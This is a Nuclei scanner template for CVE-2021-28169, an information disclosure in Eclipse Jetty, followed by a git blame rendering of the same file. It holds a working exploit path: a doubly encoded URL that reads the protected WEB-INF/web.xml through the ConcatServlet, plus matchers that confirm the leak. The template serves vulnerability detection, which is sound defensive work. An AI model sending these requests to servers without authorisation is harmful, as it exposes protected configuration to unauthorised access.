nuclei-templates/cves/2021/CVE-2021-28169.yaml

id: CVE-2021-28169

info:
  name: Jetty Utility Servlets Information Disclosure
  author: pikpikcu
  severity: medium
  description: |
    For Eclipse Jetty versions <= 9.4.40, <= 10.0.2, <= 11.0.2, it is possible for requests to the ConcatServlet with a doubly encoded path to access protected resources within the WEB-INF directory.
  reference:
    - https://twitter.com/sec715/status/1406787963569065988
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28169
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-28169
    cwe-id: CWE-200
  tags: cve,cve2021,jetty

requests:
  - method: GET
    path:
      - "{{BaseURL}}/static?/%2557EB-INF/web.xml"
      - "{{BaseURL}}/concat?/%2557EB-INF/web.xml"

    matchers-condition: and
    matchers:

      - type: word
        words:
          - "application/xml"
        part: header

      - type: word
        words:
          - "</web-app>"
          - "java.sun.com"
        part: body
        condition: and

      - type: status
        status:
          - 200
Create CVE-2021-28169.yaml 2021-06-24 16:00:02 +00:00			`id: CVE-2021-28169`

			`info:`
			`name: Jetty Utility Servlets Information Disclosure`
			`author: pikpikcu`
severity updates as per CVE database 2021-06-24 18:35:59 +00:00			`severity: medium`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`description: \|`
			`For Eclipse Jetty versions <= 9.4.40, <= 10.0.2, <= 11.0.2, it is possible for requests to the ConcatServlet with a doubly encoded path to access protected resources within the WEB-INF directory.`
Removed pipe (\|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84 2021-08-18 11:37:49 +00:00			`reference:`
Create CVE-2021-28169.yaml 2021-06-24 16:00:02 +00:00			`- https://twitter.com/sec715/status/1406787963569065988`
			`- https://nvd.nist.gov/vuln/detail/CVE-2021-28169`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 5.3`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2021-28169`
			`cwe-id: CWE-200`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`tags: cve,cve2021,jetty`
Create CVE-2021-28169.yaml 2021-06-24 16:00:02 +00:00
			`requests:`
			`- method: GET`
			`path:`
			`- "{{BaseURL}}/static?/%2557EB-INF/web.xml"`
			`- "{{BaseURL}}/concat?/%2557EB-INF/web.xml"`

			`matchers-condition: and`
			`matchers:`

			`- type: word`
			`words:`
minor updates 2021-06-24 18:32:05 +00:00			`- "application/xml"`
Create CVE-2021-28169.yaml 2021-06-24 16:00:02 +00:00			`part: header`

			`- type: word`
			`words:`
Added CVE-2021-34429 and fixed related templates 2021-07-22 09:53:19 +00:00			`- "</web-app>"`
minor updates 2021-06-24 18:32:05 +00:00			`- "java.sun.com"`
Create CVE-2021-28169.yaml 2021-06-24 16:00:02 +00:00			`part: body`
minor updates 2021-06-24 18:32:05 +00:00			`condition: and`
Create CVE-2021-28169.yaml 2021-06-24 16:00:02 +00:00
			`- type: status`
			`status:`
			`- 200`